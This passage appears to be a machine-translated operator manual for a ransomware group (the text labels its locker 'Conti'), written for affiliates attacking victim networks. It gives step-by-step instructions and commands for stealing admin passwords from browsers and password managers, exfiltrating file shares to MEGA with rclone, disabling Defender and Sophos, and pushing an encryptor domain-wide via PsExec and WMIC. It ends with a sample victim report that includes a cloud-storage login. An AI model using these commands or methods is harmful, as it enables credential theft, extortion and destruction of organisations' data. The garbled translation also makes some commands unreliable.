\\ 172.16.1.40 \ c $ \ Users \ gpetit \ Downloads
```

```
\\ 172.16.1.40 \ c $ \ Users \ gpetit \ Desktop
```

```
\\ 172.16.1.40 \ c $ \ Users \ gpetit \ Documents
```

Here are folders with custom configurations , below is a list of what can be extracted:

```
\\ 172.16.1.40 \ c $ \ Users \ gpetit \ AppData \ Local
```

```
\\ 172.16.1.40 \ c $ \ Users \ gpetit \ AppData \ Roaming
```

```
\\ 172.16.1.40 \ c $ \ Users \ gpetit \ AppData \ Local \ Google \ Chrome \ User Data \ Default
```

Here is the History && Login Data from chrome.

Historia you can directly download and explore with the help of **DBrowser for the SQLite (nix win's)**. The useful - to see where the admin goes, for whom to vote, you can sortanut histori by title and find direct **the NAS / the Tape / the vSphere** , and so on. **VERY useful thing.**

Login Data - contains logins and passwords. **Encrypted (!)**. If it weighs **38 -42kb** then there is **EMPTY** . If you weigh more than **40-45 kb** (from **100 kbps** to **1-2 megabytes**) - means there **EXACTLY** have passwords.

If you have the correct URL to Save password - **Speak to your team lead.**

It also happens in chrome that there are no passwords in the Login Date , but if you carefully examine the profile folder , you will find an **extenstions** folder and there is a **lastpass** . This is also in practice could happen in this case, go on **RDP night** and export passwords (or **keylogger** or other **embodiments**)

Similarly, you can see the **Firefox / Edge** folder (**I will add the paths , googling easily**)

T akzhe in ICU administrators Frequently encountered in the **AppData \ Roaming** folder **&& the AppData \ the Local** following folder:

Keepass
LastPass

T am their configs. We drag them, put them in a confa. E If is found - then **IMMEDIATELY ALL** there is plenty of it **THOSE MOST** relevant passwords.

It also happens that the admin stores ala right on the desktop
access.xlsx
passwords.docx

We swing, break, watch.

there is also an outlook folder

\\ 172.16.1.40 \ c \$ \ Users \ gpetit \ AppData \ Local \ Microsoft \ Outlook

Here is the file ala
gpetit@domain.com - Exchange1.ost

It contains the **CORRESPONDENCE** of this pepper. You can download it to yourself , open the "**free ost viewer** " and see the login / outcome mail . **REGULARLY** is useful to understand in difficult situations, it is this reception.

Copied simply - **cut down outlook.exe** , do copy-paste **.ost file** , then the user himself currently open outlook.

\\ 172.16.1.40 \ c \$ \ Users \ gpetit \ AppData \ Local \ Filezilla
\\ 172.16.1.40 \ c \$ \ Users \ gpetit \ AppData \ Roaming \ Filezilla

Here files **sitemanager.xml** may be a **credo** of the **FTP** the **SSH**. We swing, look, throw in conf.

Also inspect **\\ 172.16.1.40 \ C \$ \ ProgramData**
+ Program files / x86

+ Local disks that fell out in net view \\ host / ALL
D \$ and so on

Also in ad_users.txt is homedir - it , too, look, study.

Like everything.

For which manual has been written - so not tried like mad head to go to raise the session and catching alerts by admin. Our work is more is in fact to understand that how arranged, but not customize brute force in the various approaches. Everything is already hacked, you just need to look at everything ! Through the eyes of an admin! The main task of the admin hunt is to understand where he stores passwords and to steal the database \ ekxelka \ file \ textvik \ document !!!

Stage II. Uploading data

1. Register MEGA

We register on the website <https://mega.io/>
Choose a subscription to zapisimosti from the size of the grid. Usually at 2 TB
Choosing payment crypt
We drop the requisites for payment to the team lead

One mega cannot be used for multiple grids !!!

2. Creating a rclone config

1. swing rclone.exe to the office site and create a file rclone.conf
2. open cmd from the administrator , fall through the location where the program is a configuration file and execute the command: rclone config
3. Next, select the menu that appears new remote
- 4.call it mega then enter mega again
5. after that we enter the mail address mega after he asks for his pass to enter or generate we choose our letter 'Y'
6. after creating the config, we are thrown into the main menu and we exit the clone.
7. Next, enter this command rclone.exe the config show For it shows itself config we created
8. we copy it into the fi l rclone.conf

3. Uploading data

P ossle we found balls of interest to us, we load the .exe , and configuration on the Target machine rights , go to the directory ekzeshki and give the command:

Examples :

```
shell rclone.exe copy " ball " Mega: training -q --ignore-existing --auto-  
confirm --multi-thread-streams 1 --transfers 3 --bwlimit 5M
```

```
Use this ==> shell rclone.exe copy "\\ WTFINANCE.washoetribe.net \ E $ \  
FINANCE" mega: 1 -q --ignore-existing --auto-confirm --multi-thread-streams  
1 --transfers 3 --bwlimit 5M
```

```
shell rclone.exe copy "\\ trucamtlcdc01 \ E $ \ Data" remote: Data -q --  
ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12
```

```
shell rclone.exe copy "\\ FS \" remote: NT  
-q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers  
12
```

```
shell rclone.exe copy "\\ PETERLENOVO.wist.local \ Users" ftp 1: uploads /  
Users / -q --ignore-existing --auto-confirm --multi-thread-streams 3 --  
transfers 3
```

```
shell rclone.exe copy "\\ envisionpharma.com \ IT \ KLSHARE" Mega: Finanse  
-q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers  
12
```

\\ envisionpharma.com \ IT \ KLSHARE these are balls that we pump out, we
can specify whatever we like, even the whole disk

Mega - the name of the config that we specified when performing step 5

Finanse - the folder in the mega where infa is uploaded, if not, it will
create it itself .

streams 12 --transfers 12 is the number of streams that download. **I** do not
recommend the **maximum (12)** as you can easily sleep

GUIDE

<https://rclone.org/mega/>

4. Dedicated disk backup

Registering a Dedicated Server

Install the application - <https://mega.io/sync>

Through the application, download the content of the mega to the Dedicated
Server

5. Preparing the datapack

We go to the mega from the torus . and search by keywords. **need accounting
reports. bank statements. for 20-21 years. all fresh .**

especially important, cyber insurance, **security policy documents .**

Search keywords :

cyber

policy

insurance

endorsement

supplementary

underwriting
terms
bank
2020
2021
Statement

and everything that can be juicy.
always who is downloading information
prepares datapack right away
immediately backs up info to mega
and makes a complete listing of all information!

Stage III. Lock

1. Collecting body shirts for copying and launching a file across the entire domain

Collecting a batch file to copy a file across the entire domain

Save as "COPY.BAT"

```
start PsExec.exe / accepteula @C: \ share $ \ comps1.txt -u DOMAIN \ ADMINISTRATOR -p PASSWORD cmd / c COPY "\\ PRIMARY DOMAIN CONTROLLER \ share $ \ fx166.exe" "C: \ windows \ temp \ "
```

Collecting a batch file to run a file across the entire domain

Save as "EXE.BAT"

```
start PsExec.exe -d @C: \ share $ \ comps1.txt -u DOMAIN \ ADMINISTRATOR -p PASSWORD cmd /cc:\windows\temp\fx166.exe
```

Collecting a WMI batch file to copy and run a file across the entire domain

Save as "WMI.BAT"

```
start w mic / node: @ C: \ share $ \ comps1.txt / user: "DOMAIN \ Administrator" / password: "PASSWORD" process call create "cmd.exe / c bitsadmin / transfer fx166 \\ DOMAIN CONTROLLER \ share $ \ fx166.exe% APPDATA% \ fx166.exe &% APPDATA% \ fx166.exe "
```

P Parameters start **locker** on Linux versions

Unix version launch parameters

--path

When using this parameter, the locker will encrypt files in the specified path. A required **parameter** will not lock anything without it.

```
./ encryptor --path / path
```

--prockiller

Kills all processes that interfere with the opening of files.

```
./ encryptor --path / path --prockiller
```

--log

Includes logging of all actions and errors

```
./ encryptor --path / path --log /root/log.txt
```

- **vmkiller** (Only for **esxi**)

Shuts down all virtual machines

- **vmlist** (Only for **esxi**)
Specifies a file with a list of virtual machines that should not be shut down. One line for each VM.
./ **encryptor --path / path --vmlist /tmp/list.txt**

--detach

Detaches the process from the terminal.
So that if the **ssh** session **falls** off, the **locker will continue to work**
And the files are not beaten

ESXi version REQUEST SEPARATELY

If Mr. de it does not start I need OS , kernel version and the version of **glibc**
/lib64/libc.so.6

OVER

LOCKER

1.exe - apply **nolan** by default (locate only local drives ... it can still get into network drives (lock sucker!))

1.exe -nolocal (locates only mapped network drives)

1.exe -fast (without terminating the processes occupying files and deleting Shadow copies)

1.exe -full (locates EVERYTHING !!! dangerous! Use on nerves)) or on fags)

1.exe -path "\\ ip" (the specified path to the folder, also on another PC "\\ 192.168.0.1 \ with \$ \ folder")

MASS_LOCK network: (l o repents only [C] drive on every PC):

MASS_LOCK:

psexec.exe \\% 0 -s -d -i -c -f uac.bat

psexec.exe \\% 0 -s -d -i -c -f defoff.bat

psexec.exe \\% 0 -d -i -c -f 1.exe

2. Disable AB

Disabling defender

Manually:

gpedit.msc

Inside, go along the path Computer Configuration - Administrative Templates - Windows Components - Windows Defender

We find the item **"Protection in real time"**

Select the item **"Disable real-time protection"**

Select **"Enabled"**

Enter **gpupdate / force** in cmd

Not in the manual :

```
powershell Set-MpPreference -DisableRealtimeMonitoring $ true  
or
```

```
New-ItemProperty -Path "HKLM: \ SOFTWARE \ Policies \ Microsoft \ Windows  
Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
```

And one more way

Open **Gmer** or alternative - to chop off process **mspeng** \ or as we go in the location of the file, delete the file itself .

Sophos

We need the rights of a local administrator.

Load **Gmer** on the target, launch it, go to the **Processes** tab , find and demolish all processes **from the office**.

Then we **wait ~ 15-20 seconds** and see a notification about the stoppage of the **sophos**. **The sophos icon should be gone**.

Then we go to the **Files** tab and find the folder with the **sophos** and try to delete the **.exe files** , first of all we **delete all the .exe files in the File Scanner folder** , and then in other folders.

Then we launch **Pchunter** and go to the **Services** tab and demolish the **sophos services** .

Then we go to the **Files** tab (desirable, but not necessary) and there we already completely demolish the **folder (s)**, **select Force Delete** (it **does not always work**) with a **sophos**.

3. Running batch files

Go to the **C: ** drive and create a folder called **"share \$"**

We share the created folder and upload our **.bat** files there

You also need **psexec.exe** and the file with which you will encrypt this domain

```
run COPY.BAT
```

We are waiting for all the **CMD** windows to work

```
Run EXE.BAT
```

We are waiting for all the **CMD** windows to work

```
Run WMI.BAT
```

We are waiting for all the **CMD** windows to work

\\ further we will need to spread the payload **dllku** over the network and attract bots - **batniki delayutsa vot tyt** - **http://tobbot.com/data/**

```
copy "C: \ ProgramData \ BuildName.exe" "\\ \ { 1} \ c $ \ ProgramData \ BuildName.exe"
```

```
wmic / node: { 1} process call create "rundll32.exe C: \ ProgramData \ 2.dll StartW"
```

```
copy.bat
copy "C: \ ProgramData \ 2.dll" "\\ 192.168.3.11 \ c $ \ ProgramData \
2.dll"
copy "C: \ ProgramData \ 2.dll" "\\ 192.168.3.14 \ c $ \ ProgramData \
2.dll"
copy "C: \ ProgramData \ 2.dll" "\\ 192.168.3.18 \ c $ \ ProgramData \
2.dll"
copy "C: \ ProgramData \ 2.dll" "\\ 192.168.3.21 \ c $ \ ProgramData \
2.dll"
copy "C: \ ProgramData \ 2.dll" "\\ 192.168.3.27 \ c $ \ ProgramData \
2.dll"
copy "C: \ ProgramData \ 2.dll" "\\ 192.168.3.4 \ c $ \ ProgramData \
2.dll"
```

4. Checking the result of batch files

We go to each RDP work and check how the file worked (if the file is not there, copy it from our Windows via RDP to the server and run it)

5. Launching the locker manually

Launch the locker manually //

6. Preparing of report

Example:

```
=== =====
https://www.zoominfo.com/c/labranche-therrien-daoust-lefrancois/414493394
Website: ltdl.ca
1398 Servers 9654 Works - all in lock
Mega :
Ulfayjhdyjeman@outlook.com
u4 naY [ pclwuhkpo5iW
25000 GB info
```

```
Labranche Therrien Daoust Lefrançois - financiers / accountants
Revenue: $ 985 Million
Locker: Conti
Case from botnet
--- BEGIN ID ---
```

```
i0KrUPg8RSrFuPPr16C931X2rS04c4892ZR1fNVfhmrmVXt0lxYisSzBJHvksbzI
=== =====
```

IV Miscellaneous